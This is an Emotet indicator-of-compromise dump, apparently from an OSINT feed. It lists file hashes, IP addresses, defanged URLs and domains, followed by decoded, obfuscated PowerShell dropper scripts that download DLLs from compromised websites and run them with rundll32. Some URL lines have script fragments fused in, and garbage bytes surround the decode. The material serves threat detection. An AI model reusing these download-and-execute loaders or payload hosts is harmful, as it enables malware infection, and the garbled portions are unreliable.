Emotet_Doc_out_2021-01-14_13_47.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
b738d8f7d9b3778f25fda08da9fd7e68941edd688ab47ad8784168cabb57eea8
e073af5039aa015646ec394c64a8f626b3831ceb993bcb04a8f2212824be259f
3ef683e3a82f11bebfddde9ec83fec32c82724491f72a216ce2784b42d7ee003
f2de371fab51d8a39135b1215e20c6e8c337eb724dd81a0594e9fa87fed3bca5
d467f9a02f79716aa2be169215870e4e98ca00cbf2b8b27bf37840376355df4c
d467f9a02f79716aa2be169215870e4e98ca00cbf2b8b27bf37840376355df4c
9892d3a260728321afdd546aa4132dbdb4546080ef9482b36195017a1ba1b208
cdd7708fce64ce985649236aebccbd182705f1ac8b582821afcdff6be288f60d
cdd7708fce64ce985649236aebccbd182705f1ac8b582821afcdff6be288f60d
1c5577ae92907b0a10a1bef6a52aad25cc73e79b523c737d07e2f012009d7eb7
552caf55679b9a9c5de05d044bc81719a1829006793d21eae4edfb2b983f8e9a
552caf55679b9a9c5de05d044bc81719a1829006793d21eae4edfb2b983f8e9a
6b3c800aa92f35c0c920e2681573b53b32c7768fb1072fefadd132f8fbf46906
6b3c800aa92f35c0c920e2681573b53b32c7768fb1072fefadd132f8fbf46906
d0e3b3e28fb9cf4cb84c946ba315eee5cf8235a2bdadcadb3d1208efc7b65799
d0e3b3e28fb9cf4cb84c946ba315eee5cf8235a2bdadcadb3d1208efc7b65799
137602cebf7c61fe1bb6647160167813271afbd74a52fcccf03a0ad590a9ef61
988a420c56f820f5165a56b7d242998ef580c2191ef089928aec599f8732533d
988a420c56f820f5165a56b7d242998ef580c2191ef089928aec599f8732533d
ca3aba84c466d8fa6db94fc299b11e4a246fa2410ab652a24e7c094dc1c9cf95
ca3aba84c466d8fa6db94fc299b11e4a246fa2410ab652a24e7c094dc1c9cf95
0f2701f8a2887d860bdb0dfe233f7e25ee8852103dc87658ff1b67b34a1c30b7
0f2701f8a2887d860bdb0dfe233f7e25ee8852103dc87658ff1b67b34a1c30b7
7232bb05a7e765ec62dfdf1dbf29a4a6260d804c9850305969e4363e10215734
7232bb05a7e765ec62dfdf1dbf29a4a6260d804c9850305969e4363e10215734
d93333dbffefb763131024dffc1c0723d897a65c7b8d2701f5fa5bc9498ae89f
96cbd7697693ba15448da3ba557fe23297abb87009576650ac39c49ca38052a7
bd45f2cb32d66093175c05e0b8e9060fbcc0fcaca57454dfab3abf0d54711f13
02a4f728e72a9b3f8acbdfdce4bb3390cdbd32fd2a8ff9d4294afbfeb8ef65e6
2b6753eb2af4183cddaba440724e2688f177239a136d69c216b0823508fadf15
a4b2c79223d87bc6523817efc6ae96ddb3a517b509a0907f5aa47ed93cf1bd78
87f135880b58794efbc1c4ba68536780420ac44fdd5ba146685b7f719f0e19ba
1b833b967a9b2dc29a4982addef8500c6480991a907be97fdccc799d21dd337b
4771dd49032265dd34546f17b8e6c0b5f76db086e311ff7bdf0999bec88085ee
1482d4727689bb4aedeeb0dc3658dd0ec67d73c6fc1e66bc1ab074bc4b6dd739
517e2cbde3c6477b3c5f844d987a09b94e880056661d2b5919444a00f6402fe9
35345cd48a8916d674171ea9a1db6b43cbf826e9cc2113010029abd5df2b4568
3045a0410a648c72c32b3518de76c2515c2a25a83b49c50dd0f76b684e256cfc
91fefaa06a266ddd8ecf9b0bdc0233b9fc5ed2dc5890a9b3fb0b9d6d2484ec6f
a6dc0ded7d05e28b3d600051b7e81134a117c5314d07e3cbc5284ef742af4aee
17ae598e992451fcbd61f1dfe70a4added1091173dadd5cb163aea9902eaf79a
a26858d6b0bd3679cdb5420d9de0ad69b5831c30a833b72154fdf174b277c8fa
8ddff83c83492a8bc6a52b0a004b38fdcfed910dc5f7a8a979bc873e4cdec8bd
7eaa8c54ee678aa6c2c1a5a9987d5ef48ab7d72c9977b430a2bc7c5c98a438ea
393be9ca086f60f8b72c71dd63ce7c68009a9eb41579c59986a1ff3b364712f3
841f665e7fa0dafb08a148c375fc49b0594eecdf01d44cc9b7ea8e6c6b5fe024
b75406d6fe0aa668a576c191ab39489f0384ceeed853597d9f951bbf8b11326f
6dd61c1c1722407d98c22ce2bcbf6c2b85714a23daff8c45d5ea2f52cac15e7b
81d39810e27aaae72ecf4954290cc9133abe3fd0968a9f787c224017b5ade239
21b5c730d1a2cf87f14e0e687f6ade375e751a5705d59995b7b373756ef20e93


IPs:
103.27.34.23
104.18.40.172
104.18.41.172
104.27.158.29
104.27.159.29
109.232.216.177
149.202.105.228
152.32.168.168
162.241.203.91
172.67.180.86
172.67.217.110
185.2.4.29
35.209.101.201
40.119.6.228
45.77.102.200
51.79.161.36
52.172.219.121
5.2.81.171
69.49.88.46
71.72.196.159
81.19.159.72
88.255.216.16
89.46.104.24



URLs:
hxxps://shulovbaazar.com/c/bcL6/
hxxps://mybusinessevent.com/tiki-install/e/
hxxp://uhk.cncranes.com/ErrorPages/3/
hxxps://capturetheaction.com.au/wp-includes/Yjp/
hxxps://thenetworker.ca/comment/8N4/
hxxps://trayonlinegh.com/cgi-bin/HBPR/
hxxp://mmo.martinpollock.co.uk/a/SQSGg/."re`P`LacE"hxxp,[array]sd,sw,hxxp,3d[1]."SpL`iT"$E77K  $N3176cr  $U11H;
hxxps://remediis.com/t/gm2X/
hxxp://avadnansahin.com/wp-includes/w/
hxxp://solicon.us/allam-cycle-1c4gn/f5z/
hxxp://www.riparazioni-radiotv.com/softaculous/DZz/
hxxp://www.agricampeggiocortecomotto.it/wp-admin/s7p1/
hxxps://www.starlingtechs.com/GNM/
hxxp://hellas-darmstadt.de/cgi-bin/ZSoo/."rEplA`ce"hxxp,[array]dsewf,wevwe,aeff,hxxp[2]."S`PLIt"$O5_Y  $Jbz3yaa  $L_0C;
hxxps://altrashift.com/wp-includes/I/
hxxps://ojodetigremezcal.com/wp/i62s/
hxxps://snowremoval-services.com/wp-content/P3Z/
hxxp://kitsunecomplements.com/too-much-phppq/n65U/
hxxps://imperioone.com/content/WOBq/
hxxp://www.autoeck-baden.at/wp-content/w0Vb/
hxxps://shop.animewho.com/content/Tj/."rEpl`A`ce"hxxp,[array]dsewf,wevwe,aeff,hxxp[2]."sPl`it"$W85R  $Qols5vv  $B46N;


Domains:
shulovbaazar.com
mybusinessevent.com
uhk.cncranes.com
capturetheaction.com.au
thenetworker.ca
trayonlinegh.com
mmo.martinpollock.co.uk
remediis.com
avadnansahin.com
solicon.us
www.riparazioni-radiotv.com
www.agricampeggiocortecomotto.it
www.starlingtechs.com
hellas-darmstadt.de
altrashift.com
ojodetigremezcal.com
snowremoval-services.com
kitsunecomplements.com
imperioone.com
www.autoeck-baden.at
shop.animewho.com


Decoded Base64 Powershell:
1��>��^�>��^�<���^,�]z$0e2tk=[tyPe]"{2}{1}{0}{3}{4}"-fI,m.,SystE,o.Di,reCTory;
 set-itEM  vAriabLE:wd8   [TyPe]"{1}{2}{0}{3}{4}" -fVIcEPOiNtMana,SySt,eM.NEt.seR,g,Er ;
$ErrorActionPreference = SilentlyContinue;
$N3176cr=$Q25U  [char]64  $V96R;
$C_1Q=M95I;
    VarIABLe  0E2tK .vaLUE::"crEATeD`IReC`TORY"$HOME  BJlWdduy2mBJlTmc1kuoBJl."RE`p`LacE"BJl,\;
$N73P=K03V;
 $WD8::"s`E`cURitYPrOToc`ol" = Tls12;
$W_5K=T88J;
$Iyqxv9_ = J70H;
$L12K=Y03C;
$Ojihnwg=$HOMEQLOWdduy2mQLOTmc1kuoQLO."R`ePla`ce"[char]81[char]76[char]79,\$Iyqxv9_.dll;
$A09L=X68K;
$X4_1q8q=hxxps://shulovbaazar.com/c/bcL6/
hxxps://mybusinessevent.com/tiki-install/e/
hxxp://uhk.cncranes.com/ErrorPages/3/
hxxps://capturetheaction.com.au/wp-includes/Yjp/
hxxps://thenetworker.ca/comment/8N4/
hxxps://trayonlinegh.com/cgi-bin/HBPR/
hxxp://mmo.martinpollock.co.uk/a/SQSGg/."re`P`LacE"hxxp,[array]sd,sw,hxxp,3d[1]."SpL`iT"$E77K  $N3176cr  $U11H;
$Y8_Y=K90G;
foreach $Lytwz2s in $X4_1q8q{try{.New-Object SYsTEm.nEt.WeBCliENt."doWn`L`oAdfI`LE"$Lytwz2s, $Ojihnwg;
$Z83Q=X03G;
If &Get-Item $Ojihnwg."L`eNGth" -ge 32817 {.rundll32 $Ojihnwg,ShowDialogA."t`osTRI`Ng";
$Y69L=K84V;
break;
$V_2V=X07S}}catch{}}$Q51O=H_3G�����������^�����^��]z  $8ZG  = [tYpe]"{2}{5}{0}{1}{3}{4}"-f TE,m.,Sy,io,.DIrECtORY,S;
   $D0Cq = [TYpe]"{2}{1}{0}{3}{4}" -fsErvICEPo,Tem.nEt.,SYs,iNtma,nAGER ;
 $Jbz3yaa=$D53E  [char]64  $R76P;
$G73O=F04V;
    Get-VarIABle "8Z""g"  -vAlUeON ::"crE`A`TeDiR`eCt`oRy"$HOME  tKLKjl48krtKLNqm9ty9tKL-replAce  tKL,[CHAr]92;
$P43W=U_2P;
    chILdiTeM VarIABlE:d0cq  .vaLue::"s`ecURIt`YpROt`OCoL" = Tls12;
$S82G=G90M;
$D6trw02 = S93E;
$X6_M=D30P;
$G6ajv8d=$HOME{0}Kjl48kr{0}Nqm9ty9{0}-f  [CHar]92$D6trw02.dll;
$V35U=S5_U;
$Jitoa2e=hxxps://remediis.com/t/gm2X/
hxxp://avadnansahin.com/wp-includes/w/
hxxp://solicon.us/allam-cycle-1c4gn/f5z/
hxxp://www.riparazioni-radiotv.com/softaculous/DZz/
hxxp://www.agricampeggiocortecomotto.it/wp-admin/s7p1/
hxxps://www.starlingtechs.com/GNM/
hxxp://hellas-darmstadt.de/cgi-bin/ZSoo/."rEplA`ce"hxxp,[array]dsewf,wevwe,aeff,hxxp[2]."S`PLIt"$O5_Y  $Jbz3yaa  $L_0C;
$V11V=H_8M;
foreach $Ml9xw7m in $Jitoa2e{try{.New-Object sYStem.NET.wEBCLIEnT."doW`NLOaDFI`LE"$Ml9xw7m, $G6ajv8d;
$M06K=A51B;
If &Get-Item $G6ajv8d."l`ENGtH" -ge 30447 {&rundll32 $G6ajv8d,ShowDialogA."t`oSTr`InG";
$W52M=O19R;
break;
$K81A=E74D}}catch{}}$S52N=Y72S����^��]z  $8DE  = [TYPe]"{0}{3}{4}{2}{1}" -fS,ReCtoRy,m.iO.Di,Y,StE;
  $q09 = [TYpE]"{7}{4}{1}{3}{5}{6}{0}{2}" -f iN,m.ne,TMANagEr,T,stE,.sE,RvICEpo,Sy;
 $Qols5vv=$N3_K  [char]64  $W35Q;
$I3_R=R64D;
  geT-vARIablE "8""de" -vALUEoNLY::"C`Rea`TeDIr`EC`TOrY"$HOME  VLfLd5dbi3VLfWe9wmg4VLf -rEPlacEVLf,[cHaR]92;
$W16Q=L76W;
    ITeM VaRIaBlE:Q09  .vaLUe::"s`ecuR`I`TyPRoTO`coL" = Tls12;
$S67N=Q73V;
$Wwirv5a = X55H;
$N03Y=D11D;
$Gczv21g=$HOME{0}Ld5dbi3{0}We9wmg4{0} -f  [CHAR]92$Wwirv5a.dll;
$L84O=G86G;
$Mz25_3n=hxxps://altrashift.com/wp-includes/I/
hxxps://ojodetigremezcal.com/wp/i62s/
hxxps://snowremoval-services.com/wp-content/P3Z/
hxxp://kitsunecomplements.com/too-much-phppq/n65U/
hxxps://imperioone.com/content/WOBq/
hxxp://www.autoeck-baden.at/wp-content/w0Vb/
hxxps://shop.animewho.com/content/Tj/."rEpl`A`ce"hxxp,[array]dsewf,wevwe,aeff,hxxp[2]."sPl`it"$W85R  $Qols5vv  $B46N;
$L83T=P56P;
foreach $Fy40wjg in $Mz25_3n{try{.New-Object SySTem.NET.WEBCLIENt."D`OwNLoaD`F`iLe"$Fy40wjg, $Gczv21g;
$R55Q=Y48S;
If &Get-Item $Gczv21g."l`eN`Gth" -ge 36332 {.rundll32 $Gczv21g,ShowDialogA."TOS`TRI`NG";
$X33B=K65F;
break;
$O65L=M73N}}catch{}}$E0_J=F92Q��z˦���^���z˦���^���z˦���^���z˦���^���z˦���^���z˦���^���z˦���^���z˦���^���z˦���^�